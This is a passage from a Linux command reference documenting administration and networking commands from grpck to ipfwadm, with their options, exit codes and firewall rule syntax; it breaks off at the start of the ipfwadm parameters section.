System administration command. Remove corrupt or duplicate entries in the /etc/group and /etc/gshadow files. Generate warnings for other errors found. grpck will prompt for a "yes" or "no" before deleting entries. If the user replies "no," the program will exit. If run in a noninteractive mode, the reply to all prompts is "no." Alternate group and gshadow files can be checked. If other errors are found, the user will be encouraged to run the groupmod command.

Option

-n

Noninteractive mode.

Exit codes

0

Success.

1

Syntax error.

2

One or more bad group entries found.

3

Could not open group files.

4

Could not lock group files.

5

Could not write group files.

grpconv

grpconv

grpunconv

System administration command. Like pwconv, the grpconv command creates a shadowed group file to keep your encrypted group passwords safe from password cracking programs. grpconv creates the /etc/gshadow file based on your existing /etc/groups file and replaces your encrypted password entries with x. If you add new entries to the /etc/groups file, you can run grpconv again to transfer the new information to /etc/gshadow. It will ignore entries that already have a password of x and convert those that do not. grpunconv restores the encrypted passwords to your /etc/groups file and removes the /etc/gshadow file.

gs

gs [options] [files]

An interpreter for Adobe Systems' PostScript and PDF (Portable Document Format) languages; used for document processing. With - in place of files, standard input is used.

Options

-- filename arg1 ...

Take the next argument as a filename, but use all remaining arguments to define ARGUMENTS in userdict (not systemdict) as an array of those strings, before running the file.

-g number1 x number2

Specify width and height of device; intended for systems like the X Window System.

-q

Quiet startup.

-r number, -r number1 x number2

Specify X and Y resolutions (for the benefit of devices, such as printers, that support multiple X and Y resolutions). If only one number is given, it is used for both X and Y resolutions.

-D name=token, -d name=token

Define a name in systemdict with the given definition. The token must be exactly one token (as defined by the token operator) and must not contain any whitespace.

-D name, -d name

Define a name in systemdict with a null value.

-I directories

Adds the designated list of directories at the head of the search path for library files.

-S name=string, -s name=string

Define a name in systemdict with a given string as value.

Special names

-dDISKFONTS

Causes individual character outlines to be loaded from the disk the first time they are encountered.

-dNOBIND

Disables the bind operator. Useful only for debugging.

-dNOCACHE

Disables character caching. Useful only for debugging.

-dNODISPLAY

Suppresses the normal initialization of the output device. May be useful when debugging.

-dNOPAUSE

Disables the prompt and pause at the end of each page.

-dNOPLATFONTS

Disables the use of fonts supplied by the underlying platform (e.g., the X Window System).

-dSAFER

Disables the deletefile and renamefile operators and the ability to open files in any mode other than read-only.

-dWRITESYSTEMDICT

Leaves systemdict writable.

-sDEVICE=device

Selects an alternate initial output device.

-sOUTPUTFILE=filename

Selects an alternate output file (or pipe) for the initial output device.

gunzip

gunzip [options] [files]

Uncompress files compressed by gzip. See gzip for a list of options.

gzexe

gzexe [option] [files]

Compress executables. When run, these files automatically uncompress, thus trading time for space. gzexe creates backup files (filename~), which should be removed after testing the original.

Option

-d

Decompress files.

gzip

gzip [options] [files]

gunzip [options] [files]

zcat [options] [files]

Compress specified files (or read from standard input) with Lempel-Ziv coding (LZ77). Rename compressed file to filename.gz; keep ownership modes and access/modification times. Ignore symbolic links. Uncompress with gunzip, which takes all of gzip's options, except those specified. zcat is identical to gunzip -c and takes the options -fhLV, described here. Files compressed with the compress command can be decompressed using these commands.

Options

-n, --fast, --best

Regulate the speed of compression using the specified digit n, where -1 or --fast indicates the fastest compression method (less compression) and -9 or --best indicates the slowest compression method (most compression). The default compression level is -6.

-a, --ascii

ASCII text mode: convert end-of-lines using local conventions. This option is supported only on some non-Unix systems.

-c, --stdout, --to-stdout

Print output to standard output, and do not change input files.

-d, --decompress, --uncompress

Same as gunzip.

-f, --force

Force compression. gzip would normally prompt for permission to continue when the file has multiple links, its .gz version already exists, or it is reading compressed data to or from a terminal.

-h --help

Display a help screen and then exit.

-l, --list

Expects to be given compressed files as arguments. Files may be compressed by any of the following methods: gzip, deflate, compress, lzh, and pack. For each file, list uncompressed and compressed sizes (the latter being always -1 for files compressed by programs other than gzip), compression ratio, and uncompressed name. With -v, also print compression method, the 32-bit CRC of the uncompressed data, and the timestamp. With -N, look inside the file for the uncompressed name and timestamp.

-L, --license

Display the gzip license and quit.

-n, --no-name

When compressing, do not save the original filename and timestamp by default. When decompressing, do not restore the original filename if present, and do not restore the original timestamp if present. This option is the default when decompressing.

-N, --name

Default. Save original name and timestamp. When decompressing, restore original name and timestamp.

-q, --quiet

Print no warnings.

-r, --recursive

When given a directory as an argument, recursively compress or decompress files within it.

-S suffix, --suffix suffix

Append .suffix. Default is gz. A null suffix while decompressing causes gunzip to attempt to decompress all specified files, regardless of suffix.

-t, --test

Test compressed file integrity.

-v, --verbose

Print name and percent size reduction for each file.

-V, --version

Display the version number and compilation options.

halt

halt [options]

System administration command. Insert a note in the file /var/log/wtmp; if the system is in runlevel 0 or 6, stop all processes; otherwise, call shutdown -nf.

Options

-d

Suppress writing to /var/log/wtmp.

-f

Call halt even when shutdown -nf would normally be called (i.e., force a call to halt, even when not in runlevel 0 or 6).

-n

Suppress normal call to sync.

-w

Suppress normal execution; simply write to /var/log/wtmp.

head

head [options] [files]

Print the first few lines (default is 10) of one or more files. If files is missing or -, read from standard input. With more than one file, print a header for each file.

Options

-c num[bkm], --bytes num

Print first num bytes or, if num is followed by b, k, or m, first num 512-byte blocks, 1-kilobyte blocks, or 1-megabyte blocks.

--help

Display help and then exit.

-n num, --lines num, -num

Print first num lines. Default is 10.

-q, --quiet, --silent

Quiet mode; never print headers giving filenames.

-v, --verbose

Print filename headers, even for only one file.

--version

Output version information and then exit.

Examples

Display the first 20 lines of phone_list:

head -20 phone_list

Display the first 10 phone numbers having a 202 area code:

grep '(202)' phone_list | head
host

host [options] host [server]

host [options] zone [server]

System administration command. Print information about specified hosts or zones in DNS. Hosts may be IP addresses or hostnames; host converts IP addresses to hostnames by default and appends the local domain to hosts without a trailing dot. Default servers are determined in /etc/resolv.conf. For more information about hosts and zones, try Chapters 1 and 2 of DNS and BIND by Paul Albitz and Cricket Liu, published by O'Reilly & Associates.

Options

-a

Same as -t ANY.

-c class

Search for specified resource record class (IN, INTERNET, CS, CSNET, CH, CHAOS, HS, HESIOD, ANY, or *). Default is IN.

-d

Debugging mode. -dd is a more verbose version.

-e

Do not print information about domains outside of specified zone. For hostname queries, do not print "additional information" or "authoritative nameserver."

-f file

Output to file as well as standard out.

-i

Given an IP address, return the corresponding in-addr.arpa address, class (always PTR), and hostname.

-l zone

List all machines in zone.

-m

Print only MR, MG, and MB records; recursively expand MR (renamed mail box) and MG (mail group) records to MB (mail box) records.

-o

Do not print output to standard out.

-p [server]

For use with -l. Query only the zone's primary nameserver (or server) for zone transfers, instead of those authoritative servers that respond. Useful for testing unregistered zones.

-q

Quiet. Suppress warning, but not error, messages.

-r

Do not ask contacted server to query other servers, but require only the information that it has cached.

-t type

Look for type entries in the resource record. type may be A, NS, PTR, ANY, or * (all).

-u

Use TCP, not UDP.

-v

Verbose. Include all fields from resource record, even time-to-live and class, as well as "additional information" and "authoritative nameservers" (provided by the remote nameserver).

-vv

Very verbose. Include information about host's defaults.

-w

Never give up on queried server.

-x

Allow multiple hosts or zones to be specified. If a server is also specified, the argument must be preceded by -X.

-A

For hostnames, look up the associated IP address, and then reverse look up the hostname, to see if a match occurs. For IP addresses, look up the associated hostname, and determine whether the host recognizes that address as its own. For zones, check IP addresses for all hosts. Exit silently if no incongruities are discovered.

-C

Similar to -l, but also check to see if the zone's name servers are really authoritative. The zone's SOA (start of authority) records specify authoritative name servers (in NS fields). Those servers are queried; if they do not have SOA records, host reports a lame delegation. Other checks are made as well.

-D

Similar to -H but include the names of hosts with more than one address per defined name.

-E

Similar to -H but do not treat extra-zone hosts as errors. Extra-zone hosts are hosts in an undefined subdomain.

-F file

Redirect standard out to file, and print extra resource record output only on standard out.

-G zone

Similar to -H but include the names of gateway hosts.

-H zone

Print the number of unique hosts within zone. Do not include aliases. Also list all errors found (extra-zone names, duplicate hosts).

-I chars

Do not print warnings about domain names containing illegal characters chars, such as _.

-L level

For use with -l. List all delegated zones within this zone, up to level deep, recursively.

-P servers

For use with -l. servers should be a comma-separated list. Specify preferred hosts for secondary servers to use when copying over zone data. Highest priority is given to those servers that match the most domain components in a given part of servers.

-R

Treat non-fully-qualified hostnames as BIND does, searching each component of the local domain.

-S

For use with -l. Print all hosts within the zone to standard out. Do not print hosts within subzones. Include class and IP address. Print warning messages (illegal names, lame delegations, missing records, etc.) to standard error.

-T

Print time-to-live values (how long information about each host will remain cached before the nameserver refreshes it).

-X server

Specify a server to query, and allow multiple hosts or zones to be specified.

-Z

When printing recource records, include trailing dot in domain names, and print time-to-live value and class name.

hostid

hostid

Print the ID number in hexadecimal of the current host.

hostname

hostname [option] [nameofhost]

Set or print name of current host system. A privileged user can set the hostname with the nameofhost argument.

Option

-a, --alias

Display the alias name of the host (if used).

-d, --domain

Print DNS domain name.

-f, --fqdn, --long

Print fully qualified domain name.

-F file, --file file

Consult file for hostname.

-h, --help

Print a help message and then exit.

-i, --ip-address

Display the IP address(es) of the host.

-s, --short

Trim domain information from the printed name.

-v, --verbose

Verbose mode.

-V, --version

Print version information and then exit.

-y, --yp, --nis

Display the NIS domain name. A privileged user can set a new NIS domain name with nameofhost.

hwclock

hwclock [options]

System administration command. Read or set the hardware clock. This command maintains change information in /etc/adjtime, which can be used to adjust the clock based on how much it drifts over time. hwclock replaces the clock command. The single-letter options are included for compatibility with the older command.

Options

You may specify only one of the following options:

-a

Adjust the hardware clock based on information in /etc/adjtime and set the system clock to the new time.

--adjust

Adjust the hardware clock based on information in /etc/adjtime.

--date date

Meaningful only with the --set option. date is a string appropriate for use with the date command.

--debug

Print information about what hwclock is doing.

-r, --show

Print the current time stored in the hardware clock.

-s, --hctosys

Set the system time in accordance with the hardware clock.

--set

Set the hardware clock according to the time given in the --date parameter.

--test

Do not actually change anything. This is good for checking syntax.

-u, --utc

The hardware clock is stored in Universal Coordinated Time.

--version

Print version and exit.

-w, --systohc

Set the hardware clock in accordance with the system time.

icmpinfo

icmpinfo [options]

TCP/IP command. Intercept and interpret ICMP packets. Print the address and name of the message's sender, the source port, the destination port, the sequence, and the packet size. By default, provide information only about packets that are behaving oddly.

Options

-k

Kill the syslogd process begun by -l.

-l

Record via syslogd. Only a privileged user may use this option.

-n

Use IP addresses instead of hostnames.

-p

Suppress decoding of port number: do not attempt to guess the name of the service that is listening at that port.

-s

Include IP address of interface that received the packet, in case there are several interfaces on the host machine.

-v

Verbose. Include information about normal ICMP packets. You may also specify -vv and -vvv for extra verbosity.

id

id [options] [username]

Display information about yourself or another user: user ID, group ID, effective user ID and group ID if relevant, and additional group IDs.

Options

-g, --group

Print group ID only.

-G, --groups

Print supplementary groups only.

-n, --name

With -u, -g, or -G, print user or group name, not number.

-r, --real

With -u, -g, or -G, print real, not effective, user ID or group ID.

-u, --user

Print user ID only.

--help

Print help message and then exit.

--version

Print version information.

identd

in.identd [options] [kernelfile [kmemfile]]

TCP/IP command. Provide the name of the user whose process is running a specified TCP/IP connection. You may specify the kernel and its memory space.

Options

-a ip_address

Bind to ip_address. Useful only with -b. By default, bind to the INADDR_ANY address.

-b

Run standalone; not for use with inetd.

-d

Allow debugging requests.

-g gid

Attempt to run in the group gid. Useful only with -b.

-i

Run as a daemon, one process per request.

-l

Log via syslogd.

-m

Allow multiple requests per session.

-n

Return user IDs instead of usernames.

-N

Do not provide a user's name or user ID if the file .noident exists in the user's home directory.

-o

When queried for the type of operating system, always return OTHER.

-p port

Listen at port instead of the default, port 113.

-t seconds

Exit if no new requests have been received before seconds seconds have passed. Note that, with -i or -w, the next new request will result in identd being restarted. Default is infinity (never exit).

-u uid

Attempt to run as uid. Useful only with -b.

-V

Print version and exit.

-w

Run as a daemon, one process for all requests.

ifconfig

ifconfig [interface]

ifconfig [interface address_family parameters addresses]

TCP/IP command. Assign an address to a network interface and/or configure network interface parameters. ifconfig is typically used at boot time to define the network address of each interface on a machine. It may be used at a later time to redefine an interface's address or other parameters. Without arguments, ifconfig displays the current configuration for a network interface. Used with a single interface argument, ifconfig displays that particular interface's current configuration.

Arguments

interface

String of the form name unit, for example, en0.

address_family

Since an interface may receive transmissions in differing protocols, each of which may require separate naming schemes, you can specify the address_family to change the interpretation of the remaining parameters. You may specify inet (the default; for TCP/IP), ax25 (AX.25 Packet Radio), ddp (Appletalk Phase 2), or ipx (Novell).

Parameters

The following parameters may be set with ifconfig:

allmulti/-allmulti

Enable/disable sending of incoming frames to the kernel's network layer.

arp/-arp

Enable/disable use of the Address Resolution Protocol in mapping between network-level addresses and link-level addresses.

broadcast

(inet only.) Specify address to use to represent broadcasts to the network. Default is the address with a host part of all 1s (i.e., x.y.z.255 for a class C network).

debug/-debug

Enable/disable driver-dependent debugging code.

dest_address

Specify the address of the correspondent on the other end of a point-to-point link.

down

Mark an interface "down" (unresponsive).

hw class address

Set the interface's hardware class and address. class may be ether (Ethernet), ax25 (AX.25 Packet Radio), or ARCnet.

irq addr

Set the device's interrupt line.

metric n

Set routing metric of the interface to n. Default is 0.

mtu num

Set the interface's Maximum Transfer Unit (MTU).

multicast

Set the multicast flag.

netmask mask

(inet only.) Specify how much of the address to reserve for subdividing networks into subnetworks. mask can be specified as a single hexadecimal number with a leading 0x, with a dot notation Internet address, or with a pseudonetwork name listed in the network table /etc/networks.

pointopoint/-pointopoint [address]

Enable/disable point-to-point interfacing, so that the connection between the two machines is dedicated.

up

Mark an interface "up" (ready to send and receive).

trailers/-trailers

Request/disable use of a "trailer" link-level encapsulation when sending.

address

Either a hostname present in the hostname database (/etc/hosts), or an Internet address expressed in the Internet standard dot notation.

imake

imake options

C preprocessor (cpp) interface to the make utility. imake (for include make) solves the portability problem of make by allowing machine dependencies to be kept in a central set of configuration files, separate from the descriptions of the various items to be built. The targets are contained in the Imakefile, a machine-independent description of the targets to be built, written as cpp macros. imake uses cpp to process the configuration files and the Imakefile, and to generate machine-specific Makefiles, which can then be used by make.

One of the configuration files is a template file, a master file for imake. This template file (default is Imake.tmpl) #includes the other configuration files that contain machine dependencies such as variable assignments, site definitions, and cpp macros, and directs the order in which the files are processed. Each file affects the interpretation of later files and sections of Imake.tmpl. Comments may be included in imake configuration files, but the initial # needs to be preceded with an empty C comment:

/**/#

For more information, see cpp and make. Also check out the Nutshell Handbook Software Portability with imake, by Paul DuBois.

Options

-D define

Set directory-specific variables. This option is passed directly to cpp.

-e

Execute the generated Makefile. Default is to leave this to the user.

-f filename

Name of per-directory input file. Default is Imakefile.

-I directory

Directory in which imake template and configuration files may be found. This option is passed directly to cpp.

-s filename

Name of make description file to be generated. If filename is a -- , the output is written to stdout. The default is to generate, but not execute, a Makefile.

-T template

Name of master template file used by cpp. This file is usually located in the directory specified with the -I option. The default file is Imake.tmpl.

-v

Print the cpp command line used to generate the Makefile.

Tools

Following is a list of tools used with imake:

makedepend [options] files

Create header file dependencies in Makefiles. make- depend reads the named input source files in sequence and parses them to process #include, #define, #undef, #ifdef, #ifndef, #endif, #if, and #else directives so it can tell which #include directives would be used in a compilation. makedepend determines the dependencies and writes them to the Makefile. make then knows which object files must be recompiled when a dependency has changed. makedepend has the following options:

-- options --

Ignore any unrecognized options following a double hyphen. A second double hyphen terminates this action. Recognized options between the hyphens are processed normally.

-a

Append dependencies to any existing ones instead of replacing existing ones.

-f filename

Write dependencies to filename instead of to Makefile.

-m

Print a warning when encountering a multiple inclusion.

-s string

Use string as delimiter in file, instead of # DO NOT DELETE THIS LINE -- make depend depends on it.

-v

Verbose. List all files included by main source file.

-D name

Define name with the given value (first form) or with value 1 (second form).

-I dir

Add directory dir to the list of directories searched.

-Y dir

Search only dir for include files. Ignore standard include directories.

mkdirhier dir...

Create directory dir and all missing parent directories during file installation operations.

xmkmf [option] [topdir] [curdir]

Bootstrap a Makefile from an Imakefile. topdir specifies the location of the project root directory. curdir (usually omitted) is specified as a relative pathname from the top of the build tree to the current directory. The -a option is equivalent to the following command sequence:

     % xmkmf
     % make Makefiles
     % make includes
     % make depend

Configuration files

Following is a list of the imake configuration files:

Imake.tmpl

Master template for imake. Imake.tmpl includes all the other configuration files, plus the Imakefile in the current directory.

Imake.params

Contains definitions that apply across sites and vendors.

Imake.rules

Contains cpp macro definitions that are configured for the current platform. The macro definitions are fed into imake, which runs cpp to process the macros. Newlines (line continuations) are indicated by the string @@\ (double at sign, backslash).

site.def

Contains site-specific (as opposed to vendor-specific) information, such as installation directories, what set of programs to build, and any special versions of programs to use during the build. The site.def file changes from machine to machine.

Project.tmpl

File containing X-specific variables.

Library.tmpl

File containing library rules.

Server.tmpl

File containing server-specific rules.

.cf

The .cf files are the vendor-specific VendorFiles that live in Imake.vb. A .cf file contains platform-specific definitions, such as version numbers of the operating system and the compiler and workarounds for missing commands. The definitions in .cf files override the defaults, defined in Imake.params.

The Imakefile

The Imakefile is a per-directory file that indicates targets to be built and installed and rules to be applied. imake reads the Imakefile and expands the rules into Makefile target entries. An Imakefile may also include definitions of make variables and list the dependencies of the targets. The dependencies are expressed as cpp macros, defined in Imake.rules. Whenever you change an Imakefile, you need to rebuild the Makefile and regenerate header file dependencies. For more information on imake, see Software Portability with imake by Paul DuBois.

imapd

imapd

TCP/IP command. The Interactive Mail Access Protocol (IMAP) server daemon. imapd is invoked by inetd and listens on port 143 for requests from IMAP clients. IMAP allows mail programs to access remote mailboxes as if they were local. IMAP is a richer protocol than POP because it allows a client to retrieve message-level information from a server mailbox instead of the entire mailbox. IMAP can be used for online and offline reading. The popular Pine mail client contains support for IMAP.

inetd

inetd [option] [configuration_file]

TCP/IP command. Internet services daemon. inetd listens on multiple ports for incoming connection requests. When it receives one, it spawns the appropriate server. When started, inetd reads its configuration information from either configuration_file, or from the default configuration file /etc/inetd.conf. It then issues a call to getservbyname, creates a socket for each server, and binds each socket to the port for that server. It does a listen on all connection-based sockets, then waits, using select for a connection or datagram.

When a connection request is received on a listening socket, inetd does an accept, creating a new socket. It then forks, dups, and execs the appropriate server. The invoked server has I/O to stdin, stdout, and stderr done to the new socket, connecting the server to the client process.

When there is data waiting on a datagram socket, inetd forks, dups, and execs the appropriate server, passing it any server program arguments. A datagram server has I/O to stdin, stdout, and stderr done to the original socket. If the datagram socket is marked as wait, the invoked server must process the message before inetd considers the socket available for new connections. If the socket is marked nowait, inetd continues to process incoming messages on that port.

The following servers may be started by inetd: bootpd, bootpgw, fingerd, ftpd, imapd, popd, rexecd, rlogind, rshd, talkd, telnetd, and tftpd. Do not arrange for inetd to start named, routed, rwhod, sendmail, listen, or any NFS server.

inetd rereads its configuration file when it receives a hangup signal, SIGHUP. Services may be added, deleted, or modified when the configuration file is reread.

Option

-d

Turn on socket-level debugging and print debugging information to stdout.

Files

/etc/inetd.conf

Default configuration file.

/var/run/inetd.pid

inetd's process ID.

info

info [options] [topics]

GNU hypertext reader: display online documentation previously built from Texinfo input. Info files are arranged in a hierarchy and can contain menus for subtopics. When entered without options, the command displays the top-level info file (usually /usr/local/info/dir). When topics are specified, find a subtopic by choosing the first topic from the menu in the top-level info file, the next topic from the new menu specified by the first topic, and so on. The initial display can also be controlled by the -f and -n options.

Options

-d directories, --directory directories

Search directories, a colon-separated list, for info files. If this option is not specified, use the INFOPATH environment variable or the default directory (usually /usr/local/info).

--dribble file

Store each keystroke in file, which can be used in a future session with the --restore option to return to this place in info.

-f file, --file file

Display specified info file.

-n node, --node node

Display specified node in the info file.

-o file, --output file

Copy output to file instead of displaying it at the screen.

--help

Display brief help.

--restore file

When starting, execute keystrokes in file.

--subnodes

Display subtopics.

--version

Display version.

--vi-keys

Use vi-like key bindings.

init

init [option] [runlevel]

System administration command.

Option

-t seconds

When changing runlevels, send SIGKILL seconds after SIGTERM. Default is 20.

Files

init is the first process run by any Unix machine at boot time. It verifies the integrity of all filesystems and then creates other processes, using fork and exec, as specified by /etc/inittab. Which processes may be run are controlled by runlevel. All process terminations are recorded in /var/run/utmp and /var/log/wtmp. When the runlevel changes, init sends SIGTERM and then, after 20 seconds, SIGKILL to all processes that cannot be run in the new runlevel.

Runlevels

The current runlevel may be changed by telinit, which is often just a link to init. The default runlevels vary from distribution to distribution, but these are standard:

0

Halt the system.

1, s, S

Single-user mode.

6

Reboot the system.

q, Q

Reread /etc/inittab.

Check the /etc/inittab file for runlevels on your system.

insmod

insmod [options] file [symbol=value ...]

System administration command. Load the module file into the kernel, changing any symbols that are defined on the command line. If the module file is named file.o or file.mod, the module will be named file.

Options

-f

Force loading of module, even if some problems are encountered.

-m

Output a load map.

-o name

Name module name instead of attempting to name it from the object file's name.

-x

Do not export: do not add any external symbols from the module to the kernel's symbol table.

install

install [options] [file] directories

System administration command. Used primarily in makefiles to update files. install copies files into user-specified directories. It will not overwrite a file. Similar to cp but attempts to set permission modes, owner, and group.

Options

-d, --directory

Create any missing directories.

-g group, --group group

Set group ID of new file to group (privileged users only).

-m mode, --mode mode

Set permissions of new file to mode (octal or symbolic). By default, the mode is 0755.

-o [owner], --owner [owner]

Set ownership to owner or, if unspecified, to root (privileged users only).

-s, --strip

Strip symbol tables.

ipchains

ipchains command [options]

System administration command. Edit IP firewall rules in the 2.2 Linux kernel. A 2.2 Linux kernel compiled with firewall support will examine the headers of all network packets and compare them to matching rules to see what it should do with the packet. A firewall rule consists of some matching criteria and a target, a result to be applied if the packet matches the criteria. The rules are organized into chains. You can use these rules to build a firewall or just reject certain kinds of network connections.

Firewall rules are organized into chains, an ordered checklist that the kernel works through looking for matches. There are three built-in chains input, output, and forward. Packets entering the system are tested against the input chain. Those exiting the system are checked against the output chain. If an incoming packet is destined for some other system, it is checked against the forward chain. Each of these chains has a default target, a policy, in case no match is found. User-defined chains can be created and used as targets for packets, but they have no default policies. If no match can be found in a user-defined chain, the packet is returned to the chain from which it was called and tested against the next rule in that chain.

ipchains only changes the rules in the running kernel. When the system is powered off, all those changes are lost. You can use the ipchains-save command to make a script you can later run with ipchains-restore to restore your firewall settings. Such a script is often called at boot up and many distributions have an ipchains initialization script that uses the output from ipchains-save.

Commands

ipchains is always invoked with one of the following commands:

-A chain rules, --append chain rules

Append new rules to chain.

-I chain number rules, --insert <chain number rules

Insert rules into chain at the ordinal position given by number.

-D chain rules, --delete chain rules

Delete rules from chain. Rules can be specified by their ordinal number in the chain as well as by a general rule description.

-R chain number rule, --replace chain number rule

Replace a rule in chain. The rule to be replaced is specified by its ordinal number.

-C chain rule, --check chain rules

Construct a network packet that matches the given rule and check how chain will handle it. The rule must describe the source, destination, protocol, and interface of the packet to be constructed.

-L [chain], --list $PARAMETER

List the rules in chain. If no chain is specified, list the rules in all chains.

-ML, --masquerading --list

List masquerading connections.

-MS tcp tcpfin udp, --masquerading --set tcp tcpfin udp

Set timeout value in seconds for masquerading connections. -MS always takes three parameters specifying the timeout values for TCP sessions, TCP sessions that have received a FIN packet, and UDP packets.

-F chain, --flush chain

Remove all rules from chain.

-Z [chain], --zero [chain]

Reset the packet and byte counters in chain. If no chain is specified, all chains will be reset. When used without specifying a chain and combined with the -L command, it lists the current counter values before they are reset.

-N chain, --new-chain chain

Create a new chain. The chain's name must be unique.

-X [chain], --delete-chain chain

Delete chain. Only user-defined chains can be deleted, and there can be no references to the chain to be deleted. If no argument is given, all user-defined chains will be deleted.

-P chain target, --policy chain target

Set the policy for a built-in chain; the target itself cannot be a chain.

-h [icmp]

Print a brief help message. If the option icmp is given, print a list of valid ICMP types.

Targets

A target can be the name of a chain or one of the following special values:

ACCEPT

Let the packet through.

DENY

Drop the packet.

MASQ

Masquerade the packet so it appears that it originated from the current system. Reverse packets from masqueraded connections are unmasqueraded automatically. This is a legal target for only the forward chain, or user-defined chains used in forwarding packets. To use this target, the kernel must be compiled with support for IP masquerading.

REDIRECT [port]

Redirect incoming packets to a local port on which you are running a transparent proxy program. If the specified port is 0 or is not given, the destination port of the packet is used as the redirection port. REDIRECT is only a legal target for the input chain or user-defined chains used in handling incoming packets. The kernel must be compiled with support for transparent proxies.

REJECT

Drop the packet and send an ICMP message back to the sender indicating the packet was dropped.

RETURN

Return to the chain from which this chain was called and check the next rule. If RETURN is the target of a rule in a built-in chain, then the built-in chain's default policy is applied.

Rule specification parameters

These options are used to create rules for use with the preceding commands. Rules consist of some matching criteria and usually a target to jump to (-j) if the match is made. Many of the parameters for these matching rules can be expressed as a negative with an exclamation point (!) meaning "not." Those rules will match everything except the given parameter.

-p [!] name, --protocol [!]$PARAMETER

Match packets of protocol name. The value of name can be given as a name or number as found in the file /etc/protocols. The most common values are tcp, udp, icmp, or the special value all. The number 0 is equivalent to all, and this is the default value when this option is not used.

-s [!] address[/mask] [!] [port], --source [!] address[/mask] [!] [port]

Specifies the source address and port of the packet that will match this rule. The address may be supplied as a hostname, a network name, or an IP address. The optional mask is the netmask to use and may be supplied either in the traditional form (e.g., /255.255.255.0) or in the modern form (e.g., /24). The optional port specifies the TCP, UDP, or ICMP type that will match. You may supply a port specification only if you've supplied the -p parameter with one of the tcp, udp or icmp protocols. A colon can be used to indicate an inclusive range of ports or ICMP values to be used. (e.g., 20:25 for ports 20 through 25). If the first port parameter is missing, the default value is 0. If the second is omitted, the default value is 65535.

-d [!] address[/mask] [!] [port], --destination [!] address[/mask] [port]

Match packets with the destination address. The syntax for this command's parameters is the same as for the -s option.

-j target, --jump target

Jump to a special target or a user-defined chain. If this option is not specified for a rule, matching the rule only increases the rule's counters and the packet is tested against the next rule.

-i [!] name, --interface name

Match packets from interface name[+]. name is the network interface used by your system (e.g., eth0 or ppp0). A + can be used as a wildcard, so ppp+ would match any interface name beginning with ppp.

[!] -f, [!]--fragment $PARAMETER

The rule applies to everything but the first fragment of a fragmented packet.

--source-port [!] port

Match packets from the source port. The syntax for specifying ports can be found in the preceding description of the -s option.

--destination-port [!] port

Match packets with the destination port. The syntax for specifying ports can be found in the preceding description of the -s option.

--icmp-type [!] type

Match packets with ICMP type name or number of type.

Options

-b, --bidirectional

Put rule in both the input and output chain so packets will be matched in both directions.

-v, --verbose

Verbose mode.

-n, --numeric

Print all IP address and port numbers in numeric form. By default, names are displayed when possible.

-l, --log

Log information for the matching packet to the system log.

-t andmask xormask, --TOS andmask xormask

Change the Type of Service field in the packet's header. The TOS field is first ANDed with the 8-bit hexadecimal mask andmask, then XORed with the 8-bit hexadecimal mask xormask. Rules that would affect the least significant bit (LSB) portion of the TOS field are rejected.

-x, --exact

Expand all numbers in a listing (-L). Display the exact value of the packet and byte counters instead of rounded figures.

[!] -y, --syn

Match only incoming TCP connection requests, those with the SYN bit set and the ACK and FIN bits cleared. This blocks incoming TCP connections but leaves outgoing connections unaffected.

--line-numbers

Used with the -L command. Add the line number to the beginning of each rule in a listing indicating its position in the chain.

--no-warnings

Disable all warnings

ipchains-restore

ipchains-restore [options]

System administration command. Restore firewall rules. ipchains-restore takes commands generated by ipchains-save and uses them to restore the firewall rules for each chain. Often used by initialization scripts to restore firewall settings on boot.

Options

-f

Force updates of existing chains without asking.

-v

Print rules as they are being restored.

-p

If a nonexisting chain is targeted by a rule, create it.

ipchains-save

ipchains-save [chain] [option]

System administration command. Print the IP firewall rules currently stored in the kernel to stdout. If no chain is given, all chains will be printed. Output is usually redirected to a file, which can later be used by ipchains-restore to restore the firewall.

Option

- v

Print out rules to stderr as well as stdout, making them easier to see when redirecting output.

ipfwadm

ipfwadm category command parameters [options]

ipfwadm -M [ -l | -s ] [options]

Administer a firewall and its rules, firewall accounting, and IP masquerading in the 2.0 Linux kernel. This command is replaced with ipchains in the 2.2 kernel, and ipchains is replaced by iptables in the 2.4 kernel.

There are four categories of rules: IP packet accounting, IP input firewall, IP output firewall, and IP forwarding firewall. The rules are maintained in lists, with a separate list for each category. See the manpage for ipfw(4) for a more detailed description of how the lists work.

Each ipfwadm command specifies only one category and one rule. To create a secure firewall, you issue multiple ipfwadm commands; the combination of their rules work together to ensure that your firewall operates as you intend it to. The second form of the command is for masquerading. The commands -l and -s described in the later list are the only ones that can be used with the masquerading category, -M.

Categories

One of the following flags is required to indicate the category of rules to which the command that follows the category applies.

-A [direction]

IP accounting rules. Optionally, a direction can be specified:

in

Count only incoming packets.

out

Count only outgoing packets.

both

Count both incoming and outgoing packets; this is the default.

-F

IP forwarding firewall rules.

-I

IP input firewall rules.

-M

IP masquerading administration. Can be used only with the -l or -s command.

-O

IP output firewall rules.

Commands

The category is followed by a command indicating the specific action to be taken. Unless otherwise specified, only one action can be given on a command line. For the commands that can include a policy, the valid policies are:

accept

Allow matching packets to be received, sent, or forwarded.

deny

Block matching packets from being received, sent, or forwarded.

reject

Block matching packets from being received, sent, or forwarded and also return an ICMP error message to the sending host.

The commands are:

-a [policy]

Append one or more rules to the end of the rules for the category. No policy is specified for accounting rules. For firewall rules, a policy is required. When the source and/or destination names resolve to more than one address, a rule is added for each possible address combination.

-c

Check whether this IP packet would be accepted, denied, or rejected by the type of firewall represented by this category. Valid only when the category is -I, -O, or -F. Requires the -V parameter to be specified (see "Parameters," later).

-d [policy]

Delete one or more entries from the list of rules for the category. No policy is specified for accounting rules. The parameters specified with this command must exactly match the parameters from an append or insert command, or no match will be found and the rule will not be removed. Only the first matching rule in the list of rules is deleted.

-f

Remove (flush) all rules for the category.

-h

Display a help message with a brief description of the command syntax. Specified with no category:

     % ipfwadm -h
-i [policy]

Insert a new rule at the beginning of the selected list for the category. No policy is specified for accounting rules. For firewall rules, a policy is required. When the source and/or destination names resolve to more than one address, a rule is added for each possible address combination.

-l

List all rules for the category. This option may be combined with the -z option to reset the packet and byte counters after listing their current values. Unless the -x option is also specified, the packet and byte counters are shown as number K or number M, rounded to the nearest integer. See also the -e option described under "Options" later.

-p policy

Change the default policy for the selected type of firewall to policy. The default policy is used when no matching rule is found. Valid only with -I, -O, or -F.

-s tcp tcpfin udp

Set the masquerading timeout values; valid only with -M. The three parameters are required and represent the timeout value in seconds for TCP sessions, TCP sessions after receiving a FIN packet, and UDP packets, respectively. A timeout value of 0 preserves the current timeout value of the corresponding entry.

-z

Reset the packet and byte counters for all rules in the category. This command may be combined with the -l command.

Parameters

The following parameters can be specified with the -a, -i, -d, or -c commands, except as noted. Multiple parameters can be specified on a single ipfwadm command line.

